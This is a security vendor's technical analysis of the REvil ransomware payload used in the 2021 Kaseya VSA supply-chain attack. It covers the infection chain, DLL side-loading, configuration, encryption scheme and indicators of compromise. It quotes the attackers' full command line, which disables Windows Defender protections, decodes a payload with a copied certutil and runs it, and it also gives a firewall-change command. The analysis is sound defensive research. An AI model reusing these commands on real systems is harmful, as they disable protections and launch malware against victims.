Zscaler Blog

Get the latest Zscaler blog updates in your inbox

Security Research

Kaseya Supply Chain Ransomware Attack - Technical Analysis of the REvil Payload

On July 2, 2021, Kaseya, an IT Management software firm, disclosed a security incident impacting their on-premises version of Kaseya's Virtual System Administrator (VSA) software. Kaseya VSA is a cloud-based Managed Service Provider (MSP) platform that allows service providers to perform patch management, backups, and client monitoring for their customers. Per Kaseya, the majority of their customers that rely on Software-as-a-Service (SaaS) based offerings were not impacted by this issue; only a small percentage (less than 40 worldwide) running on-premise instances of Kaseya VSA server were affected, though it is believed that 1,000+ organizations were impacted downstream. Below is the ThreatLabz technical deep-dive on the attack. For more background, read our full coverage blog here.


Infection Overview

The threat actor behind this attack identified and exploited a zero day vulnerability in the Kaseya VSA server. The compromised Kaseya VSA server was used to send a malicious script to all clients that were managed by that VSA server. The script was used to deliver REvil ransomware that encrypted files on the affected systems.

The malicious script contained the following Windows batch commands as shown below:

C:\windows\system32\cmd.exe /c ping -n 7615 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking1\agent.crt c:\kworking1\agent.exe & del /q /f c:\kworking1\agent.crt C:\Windows\cert.exe & c:\kworking1\agent.exe

The PowerShell script present in the commands above disables some features of Windows Defender such as real-time protection, network protection, scanning of downloaded files, sharing of threat information with Microsoft Active Protection Service (MAPS), and automatic sample submission.

certutil.exe is used to decode the Base64 encoded payload located in agent.crt and writes the result to an executable file named agent.exe in the working directory of Kaseya. The Windows batch script then executes the agent.exe file, which will create and launch the REvil ransomware payload.


REvil/Sodinokibi Ransomware

The executable agent.exe is digitally signed with a valid digital signature with the following signer information: 

Email: [email protected]
Issuer: CN = Sectigo RSA Code Signing CA, O = Sectigo Limited, L = Salford, S = Greater Manchester, C = GB
Thumbprint: 11FF68DA43F0931E22002F1461136C662E623366
Serial Number: 11 9A CE AD 66 8B AD 57 A4 8B 4F 42 F2 94 F8 F0

Upon execution, the file agent.exe drops two additional files which are present in its resource section with the names SOFTIS and MODLIS. These two files are written to the C:\Windows directory. If the malware is unable to write to this location (e.g., insufficient permissions), these files will alternatively be dropped in the Windows %temp% directory. These two files are the following:

  • MsMpEng.exe - This is a legitimate application of Windows Defender and vulnerable to side-loading attacks.
  • mpsvc.dll - This is an REvil ransomware DLL.

The executable file agent.exe then executes MsMpEng.exe, which is vulnerable to a DLL side-loading attack to load the REvil ransomware DLL file mpsvc.dll that is located in the same directory. As a result of the vulnerability, the Windows Defender executable will load the REvil DLL into its own context as shown in Figure 1.


Figure 1. Main function of the malicious executable used in the Kaseya attack that drops a vulnerable copy of Windows Defender to load REvil ransomware.

This variant of REvil (aka Sodinokibi) ransomware uses several techniques to evade security products. This includes the malware using a custom packer, with the REvil payload distributed as a portable executable (PE) with a modified header as shown in Figure 2 (where the original PE header is shown on the left and the modified header is shown on the right). This is likely designed to evade security software products that are not able to properly handle PE files that have been modified.


Figure 2. Modified REvil PE header (the original header is shown on the left, while the Kaseya REvil payload is shown on the right).

The malware binary has an embedded encrypted configuration which is decrypted using RC4 encryption at runtime as shown in Figure 3.


Figure 3. RC4 decryption of REvil configuration.

The REvil ransomware configuration contains specific settings for the malware. The configuration is stored in JSON format with the configuration parameters shown in Table 1.


Configuration Key



Establish persistence via an autorun registry value


Enable debug mode


Semicolon separated list of potential C&C domains


Encryption type (partial or full)


Attempt to elevate privileges by exploiting a local privilege escalation (LPE) vulnerability


Base64 encoded ransom wallpaper


Base64 encoded ransom note


Send beacons to the REvil command and control server


File name of ransom note dropped in folders where files were encrypted


Unique ID to identify this attack


Base64 encoded value of attacker’s public key used to encrypt files 


List of processes to kill


Readme count (always set to 0) 


Possible campaign/affiliate ID or just sub version number


List of services to stop


Directories to wipe


List of allowed extensions, folder names and file names


Wipe specified directories


Table 1. REvil configuration keys and their purpose.

The full decrypted configuration for this REvil attack can be found here.

This variant of REvil has the key net assigned with the value false, which instructs the ransomware not to beacon information back to the C&C domains after encryption. This is likely to evade network-based signatures that could potentially alert victims to an ongoing attack. The REvil configuration in the Kaseya attack disables persistence through the arn configuration parameter, which may also be designed to evade early-stage detection.

Before the encryption process, the registry key HKEY_LOCAL_MACHINE\SOFTWARE\BlackLivesMatter is created to store the victim’s and attacker’s encryption key information and the file extension to be appended, as shown in below Figure 4.



Figure 4. Registry key names and values created by REvil ransomware.

The registry key values are described below in Table 2.


Registry Value Name



Victim’s secret key encrypted with the attacker’s public key (“pk”)


Attacker’s public key


Encrypted victim’s key (same as key present in ransom note)


Victim’s public key


Victim’s secret key encrypted with master public key


Extension to be appended after encryption

Table 2. REvil registry key values.

REvil changes the Windows firewall settings to allow the local system to be discovered on the local network by other computers with the command: 

netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes


File Encryption Process

REvil ransomware will encrypt all files that are not contained within the allowlisted filenames and extension fields, which are stored in the configuration. REvil reads each file, encrypts the contents, and writes the result back to the original file to prevent file recovery. After the encryption, a footer is written to the end of the file and the encrypted file is renamed with an appended file extension. REvil ransomware uses a combination of Curve25519 (asymmetric) and Salsa20 (symmetric) encryption algorithms to encrypt files on the system. The Salsa20 encryption key is derived from the victim's public key and secret key of the key pair generated for each file. To decrypt a file, the victim's secret key and file public key must be known.

The ransomware writes a footer that has a size of 232 (0xE8) bytes at the end of every encrypted file. The footer metadata contains the information shown below in Table 3.



Data size




Victim’s secret key encrypted with the attacker’s public key



Victim’s secret key encrypted with a master public key



Public key generated for each file



Salsa-20 nonce



CRC32 checksum of file_public_key



Encryption type (0 in this case)



Bytes to skip during encryption



NULL value encrypted with Salsa20 encryption

Table 3. REvil footer added to encrypted files.

An example REvil footer is shown below in Figure 5, with the corresponding fields highlighted.


Figure 5. Footer metadata appended to a file encrypted by REvil.

After the encryption, REvil drops a ransom note with the format {random alphanumeric characters}-readme.txt based on the rdmcnt configuration (in this case, rdmcnt is set to zero, so REvil will drop a ransom note in every directory). The ransomware then drops the content to a file from the img configuration value in the Windows %temp% directory and sets the wallpaper to use this file on the infected system. Figure 6 displays a screenshot with the REvil ransom note and wallpaper after the file encryption is completed.


Figure 6: REvil ransom note and wallpaper after file encryption.

The author of REvil ransomware has posted attack details on their leak website as shown in Figure 7. The group is currently demanding $70 million worth of Bitcoin for a master decryption tool.


Figure 7. REvil’s Kaseya attack post on their dark web leak site.


Indicators of Compromise (IOCs)

The following IOCs can be used to detect REvil infections used in the Kaseya attack.






agent.crt (encoded REvil dropper)



agent.exe (REvil dropper)



mpsvc.dll (REvil ransomware)



mpsvc.dll (REvil ransomware)



agent.crt (encoded REvil dropper)



agent.exe (REvil dropper)



mpsvc.dll (REvil ransomware)



mpsvc.dll (REvil ransomware)

The full list of 1200+ hardcoded beacon domains related to this REvil variant can be found here.


form submtited
Thank you for reading

Was this post useful?

dots pattern

Get the latest Zscaler blog updates in your inbox

By submitting the form, you are agreeing to our privacy policy.